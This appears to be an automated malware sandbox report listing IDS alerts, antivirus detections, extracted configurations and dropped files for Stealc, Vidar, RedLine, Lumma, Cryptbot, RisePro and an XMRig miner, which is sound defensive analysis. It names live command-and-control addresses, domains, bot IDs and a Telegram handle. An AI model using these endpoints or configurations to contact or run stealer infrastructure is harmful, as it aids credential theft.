ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:50.308881+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:32.420482+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	63435	185.215.113.103	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:50.689419+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:32.933586+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	63435	185.215.113.103	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:51.812432+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:35.536465+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	63435	185.215.113.103	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:50.947938+0200	2044247	1	Malware Command and Control Activity Detected	46.8.231.109	80	192.168.2.4	63372	TCP
2024-09-11T16:22:59.005699+0200	2044247	1	Malware Command and Control Activity Detected	5.75.214.132	443	192.168.2.4	63385	TCP
2024-09-11T16:23:33.409576+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.103	80	192.168.2.4	63435	TCP
2024-09-11T16:23:56.885180+0200	2044247	1	Malware Command and Control Activity Detected	5.75.214.132	443	192.168.2.4	63462	TCP
2024-09-11T16:24:44.240614+0200	2044247	1	Malware Command and Control Activity Detected	5.75.214.132	443	192.168.2.4	63515	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.467009+0200	2051831	1	Malware Command and Control Activity Detected	5.75.214.132	443	192.168.2.4	63388	TCP
2024-09-11T16:23:58.599789+0200	2051831	1	Malware Command and Control Activity Detected	5.75.214.132	443	192.168.2.4	63467	TCP
2024-09-11T16:24:45.596051+0200	2051831	1	Malware Command and Control Activity Detected	5.75.214.132	443	192.168.2.4	63516	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:00.466554+0200	2049087	1	A Network Trojan was detected	192.168.2.4	63388	5.75.214.132	443	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:54.133498+0200	2046045	1	A Network Trojan was detected	192.168.2.4	63376	45.91.202.63	25415	TCP

ET MALWARE [ANY.RUN] RisePro TCP (Activity)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:59.180238+0200	2046269	1	A Network Trojan was detected	192.168.2.4	63375	77.105.164.24	50505	TCP

ET MALWARE [ANY.RUN] RisePro TCP (Token)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:53.467168+0200	2046266	1	A Network Trojan was detected	77.105.164.24	50505	192.168.2.4	63375	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:50.955648+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63448	185.196.8.214	80	TCP
2024-09-11T16:23:54.052361+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63448	185.196.8.214	80	TCP
2024-09-11T16:23:55.121514+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63459	185.196.8.214	80	TCP
2024-09-11T16:23:56.173335+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63464	185.196.8.214	80	TCP
2024-09-11T16:23:57.247943+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63465	185.196.8.214	80	TCP
2024-09-11T16:23:58.255732+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63468	185.196.8.214	80	TCP
2024-09-11T16:23:59.275990+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63469	185.196.8.214	80	TCP
2024-09-11T16:24:00.313510+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63470	185.196.8.214	80	TCP
2024-09-11T16:24:01.307651+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63471	185.196.8.214	80	TCP
2024-09-11T16:24:02.273703+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63472	185.196.8.214	80	TCP
2024-09-11T16:24:03.507823+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63473	185.196.8.214	80	TCP
2024-09-11T16:24:04.621569+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63475	185.196.8.214	80	TCP
2024-09-11T16:24:05.686229+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63478	185.196.8.214	80	TCP
2024-09-11T16:24:06.813003+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63479	185.196.8.214	80	TCP
2024-09-11T16:24:08.736281+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63480	185.196.8.214	80	TCP
2024-09-11T16:24:09.861517+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63482	185.196.8.214	80	TCP
2024-09-11T16:24:11.189324+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63484	185.196.8.214	80	TCP
2024-09-11T16:24:12.361959+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63485	185.196.8.214	80	TCP
2024-09-11T16:24:13.853755+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63486	185.196.8.214	80	TCP
2024-09-11T16:24:14.858221+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63487	185.196.8.214	80	TCP
2024-09-11T16:24:15.852592+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63488	185.196.8.214	80	TCP
2024-09-11T16:24:18.920009+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63489	185.196.8.214	80	TCP
2024-09-11T16:24:19.953916+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63490	185.196.8.214	80	TCP
2024-09-11T16:24:21.002046+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63491	185.196.8.214	80	TCP
2024-09-11T16:24:22.082317+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63492	185.196.8.214	80	TCP
2024-09-11T16:24:23.121370+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63493	185.196.8.214	80	TCP
2024-09-11T16:24:24.082825+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63494	185.196.8.214	80	TCP
2024-09-11T16:24:25.954097+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63495	185.196.8.214	80	TCP
2024-09-11T16:24:26.949903+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63496	185.196.8.214	80	TCP
2024-09-11T16:24:28.062323+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63497	185.196.8.214	80	TCP
2024-09-11T16:24:29.093221+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63498	185.196.8.214	80	TCP
2024-09-11T16:24:30.146932+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63499	185.196.8.214	80	TCP
2024-09-11T16:24:31.430865+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63500	185.196.8.214	80	TCP
2024-09-11T16:24:32.366310+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63501	185.196.8.214	80	TCP
2024-09-11T16:24:33.352201+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63502	185.196.8.214	80	TCP
2024-09-11T16:24:34.284775+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63503	185.196.8.214	80	TCP
2024-09-11T16:24:35.198169+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63504	185.196.8.214	80	TCP
2024-09-11T16:24:36.118763+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63505	185.196.8.214	80	TCP
2024-09-11T16:24:36.951520+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63507	185.196.8.214	80	TCP
2024-09-11T16:24:37.772509+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63508	185.196.8.214	80	TCP
2024-09-11T16:24:38.636570+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63510	185.196.8.214	80	TCP
2024-09-11T16:24:39.480486+0200	2049467	1	A Network Trojan was detected	192.168.2.4	63512	185.196.8.214	80	TCP

ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:50.955648+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63448	185.196.8.214	80	TCP
2024-09-11T16:23:54.052361+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63448	185.196.8.214	80	TCP
2024-09-11T16:23:55.121514+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63459	185.196.8.214	80	TCP
2024-09-11T16:23:56.173335+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63464	185.196.8.214	80	TCP
2024-09-11T16:23:57.247943+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63465	185.196.8.214	80	TCP
2024-09-11T16:23:58.255732+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63468	185.196.8.214	80	TCP
2024-09-11T16:23:59.275990+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63469	185.196.8.214	80	TCP
2024-09-11T16:24:00.313510+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63470	185.196.8.214	80	TCP
2024-09-11T16:24:01.307651+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63471	185.196.8.214	80	TCP
2024-09-11T16:24:02.273703+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63472	185.196.8.214	80	TCP
2024-09-11T16:24:03.507823+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63473	185.196.8.214	80	TCP
2024-09-11T16:24:04.621569+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63475	185.196.8.214	80	TCP
2024-09-11T16:24:05.686229+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63478	185.196.8.214	80	TCP
2024-09-11T16:24:06.813003+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63479	185.196.8.214	80	TCP
2024-09-11T16:24:08.736281+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63480	185.196.8.214	80	TCP
2024-09-11T16:24:09.861517+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63482	185.196.8.214	80	TCP
2024-09-11T16:24:11.189324+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63484	185.196.8.214	80	TCP
2024-09-11T16:24:12.361959+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63485	185.196.8.214	80	TCP
2024-09-11T16:24:13.853755+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63486	185.196.8.214	80	TCP
2024-09-11T16:24:14.858221+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63487	185.196.8.214	80	TCP
2024-09-11T16:24:15.852592+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63488	185.196.8.214	80	TCP
2024-09-11T16:24:18.920009+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63489	185.196.8.214	80	TCP
2024-09-11T16:24:19.953916+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63490	185.196.8.214	80	TCP
2024-09-11T16:24:21.002046+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63491	185.196.8.214	80	TCP
2024-09-11T16:24:22.082317+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63492	185.196.8.214	80	TCP
2024-09-11T16:24:23.121370+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63493	185.196.8.214	80	TCP
2024-09-11T16:24:24.082825+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63494	185.196.8.214	80	TCP
2024-09-11T16:24:25.954097+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63495	185.196.8.214	80	TCP
2024-09-11T16:24:26.949903+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63496	185.196.8.214	80	TCP
2024-09-11T16:24:28.062323+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63497	185.196.8.214	80	TCP
2024-09-11T16:24:29.093221+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63498	185.196.8.214	80	TCP
2024-09-11T16:24:30.146932+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63499	185.196.8.214	80	TCP
2024-09-11T16:24:31.430865+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63500	185.196.8.214	80	TCP
2024-09-11T16:24:32.366310+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63501	185.196.8.214	80	TCP
2024-09-11T16:24:33.352201+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63502	185.196.8.214	80	TCP
2024-09-11T16:24:34.284775+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63503	185.196.8.214	80	TCP
2024-09-11T16:24:35.198169+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63504	185.196.8.214	80	TCP
2024-09-11T16:24:36.118763+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63505	185.196.8.214	80	TCP
2024-09-11T16:24:36.951520+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63507	185.196.8.214	80	TCP
2024-09-11T16:24:37.772509+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63508	185.196.8.214	80	TCP
2024-09-11T16:24:38.636570+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63510	185.196.8.214	80	TCP
2024-09-11T16:24:39.480486+0200	2050112	1	A Network Trojan was detected	192.168.2.4	63512	185.196.8.214	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:49.730677+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:31.847259+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	63435	185.215.113.103	80	TCP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:09.739444+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.4	63389	95.179.241.203	443	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:52.119286+0200	2803304	3	Unknown Traffic	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:57.581232+0200	2803304	3	Unknown Traffic	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:58.697469+0200	2803304	3	Unknown Traffic	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:22:59.424319+0200	2803304	3	Unknown Traffic	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:00.229345+0200	2803304	3	Unknown Traffic	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:02.214896+0200	2803304	3	Unknown Traffic	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:02.958869+0200	2803304	3	Unknown Traffic	192.168.2.4	63372	46.8.231.109	80	TCP
2024-09-11T16:23:07.681236+0200	2803304	3	Unknown Traffic	192.168.2.4	63409	37.153.95.99	443	TCP
2024-09-11T16:23:37.174944+0200	2803304	3	Unknown Traffic	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:46.455237+0200	2803304	3	Unknown Traffic	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:48.101645+0200	2803304	3	Unknown Traffic	192.168.2.4	63435	185.215.113.103	80	TCP
2024-09-11T16:23:49.116488+0200	2803304	3	Unknown Traffic	192.168.2.4	63445	185.215.113.103	80	TCP
2024-09-11T16:23:50.790264+0200	2803304	3	Unknown Traffic	192.168.2.4	63445	185.215.113.103	80	TCP
2024-09-11T16:23:51.864479+0200	2803304	3	Unknown Traffic	192.168.2.4	63452	185.215.113.103	80	TCP
2024-09-11T16:23:53.452536+0200	2803304	3	Unknown Traffic	192.168.2.4	63456	185.215.113.103	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:22:16.584098+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49737	31.41.244.9	80	TCP
2024-09-11T16:22:16.592133+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49738	176.113.115.187	80	TCP
2024-09-11T16:22:16.812055+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49736	176.113.115.33	80	TCP
2024-09-11T16:22:17.169078+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:17.345103+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49746	76.76.21.61	443	TCP
2024-09-11T16:22:17.357253+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49735	147.45.44.104	80	TCP
2024-09-11T16:22:18.764235+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:18.855099+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49753	37.153.95.99	443	TCP
2024-09-11T16:22:18.984022+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49754	37.153.95.99	443	TCP
2024-09-11T16:22:20.920411+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49755	37.153.95.99	443	TCP
2024-09-11T16:22:22.619728+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49735	147.45.44.104	80	TCP
2024-09-11T16:22:22.979755+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49735	147.45.44.104	80	TCP
2024-09-11T16:22:25.842317+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:30.737584+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:32.714917+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:22:33.196971+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	49734	147.45.44.104	80	TCP
2024-09-11T16:23:39.865051+0200	2803270	2	Potentially Bad Traffic	192.168.2.4	63438	37.153.95.99	443	TCP

ETPRO MALWARE Observed DNS Query to Lumma Domain

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-11T16:23:02.505835+0200	2857974	1	Domain Observed Used for C2 Detected	192.168.2.4	57551	1.1.1.1	53	UDP
2024-09-11T16:23:07.829514+0200	2857974	1	Domain Observed Used for C2 Detected	192.168.2.4	62160	1.1.1.1	53	UDP
2024-09-11T16:23:26.068220+0200	2857974	1	Domain Observed Used for C2 Detected	192.168.2.4	49813	1.1.1.1	53	UDP
2024-09-11T16:23:56.506900+0200	2857974	1	Domain Observed Used for C2 Detected	192.168.2.4	52556	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Avira: detection malicious, Label: TR/Miner.ssaxo
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Avira: detection malicious, Label: TR/AD.Nekark.psmde

Found malware configuration

Source: 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199768374681", "https://t.me/edm0d"], "Botnet": "02240158bc7e003b8ad4e709916c367e"}
Source: 00000009.00000002.2184185015.0000000003415000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "45.91.202.63:25415", "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Message": "", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}
Source: 00000020.00000002.2388378578.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://46.8.231.109/c4754d4f680ead72.php"}
Source: 12.2.T1kEdFsnxciHVYBeHqJvMP2Q.exe.2c96000.1.raw.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["evoliutwoqm.shop", "condedqpwqm.shop", "caffegclasiqwp.shop", "traineiwnqo.shop", "millyscroqwp.shop", "locatedblsoqp.shop", "stagedchheiqwo.shop", "stamppreewntnq.shop", "awwardwiqi.shop"], "Build id": "E6UHNR--"}
Source: Vwagc2Gf16eP8XIbenmQEOda.exe.5716.14.memstrmin	Malware Configuration Extractor: Cryptbot {"C2 list": ["tventyvd20sr.top", "analforeverlovyu.top", "@tventyvd20sr.top"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\AFIDGDBGCA.exe	ReversingLabs: Detection: 18%
Source: C:\ProgramData\JKECFCFBGD.exe	ReversingLabs: Detection: 18%
Source: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	ReversingLabs: Detection: 83%
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	ReversingLabs: Detection: 68%
Source: C:\Users\userIDHIEGIIIE.exe	ReversingLabs: Detection: 18%
Source: C:\Users\userJJJJDAAECG.exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66daf6d8ac980_PeakSports[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\avoufshire[1].exe	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\burda[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66dc99a997229_VirtualLibrary[1].exe	ReversingLabs: Detection: 70%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e179cc20793_lyla2[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e197066b3e8_xin[1].exe	ReversingLabs: Detection: 23%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\lgrn[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vtrwh12[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66dd2c2d3b88f_opera[1].exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66e06cea88f93_BlueSapphire[1].exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66e19745cc64e_crypted[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d70e8640404_trics[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66e1a49ce28da_wtyhjkosefktyh[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lgrn[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sgfdm[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vhtrw[1].exe	ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\LAzlmFmPejofyAjGuKql.dll	ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\DKIM Authenticator lib 9.11.45\DKIM Authenticator lib 9.11.45.exe	Joe Sandbox ML: detected
Source: C:\Users\userJJJJDAAECG.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\AFIDGDBGCA.exe	Joe Sandbox ML: detected
Source: C:\Users\userIDHIEGIIIE.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\JKECFCFBGD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: caffegclasiqwp.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stamppreewntnq.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: stagedchheiqwo.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: millyscroqwp.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: evoliutwoqm.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: condedqpwqm.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: traineiwnqo.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: locatedblsoqp.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: awwardwiqi.shop
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000C.00000002.2542689715.00000000031D0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: E6UHNR--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0051D130 SetLastError,GetModuleHandleA,CryptGenRandom,	1_2_0051D130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0051CE90 GetModuleHandleA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,	1_2_0051CE90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0051D050 CryptReleaseContext,	1_2_0051D050

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe

Unpacked PE file: 56.2.batchaviconverter32.exe.400000.0.unpack

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Batch AVI Converter_is1

Source: unknown	HTTPS traffic detected: 104.237.62.213:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 76.76.21.61:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.153.95.99:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.153.95.99:443 -> 192.168.2.4:49754 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: Mk75cxC4KyOkgnwZzE1K_RlU.exe, 00000010.00000002.3018995709.000000006897D000.00000002.00000001.01000000.00000027.sdmp
Source:	Binary string: freebl3.pdb source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: RegAsm.exe, 0000001F.00000002.3025790850.0000000022DAB000.00000004.00000020.00020000.00000000.sdmp
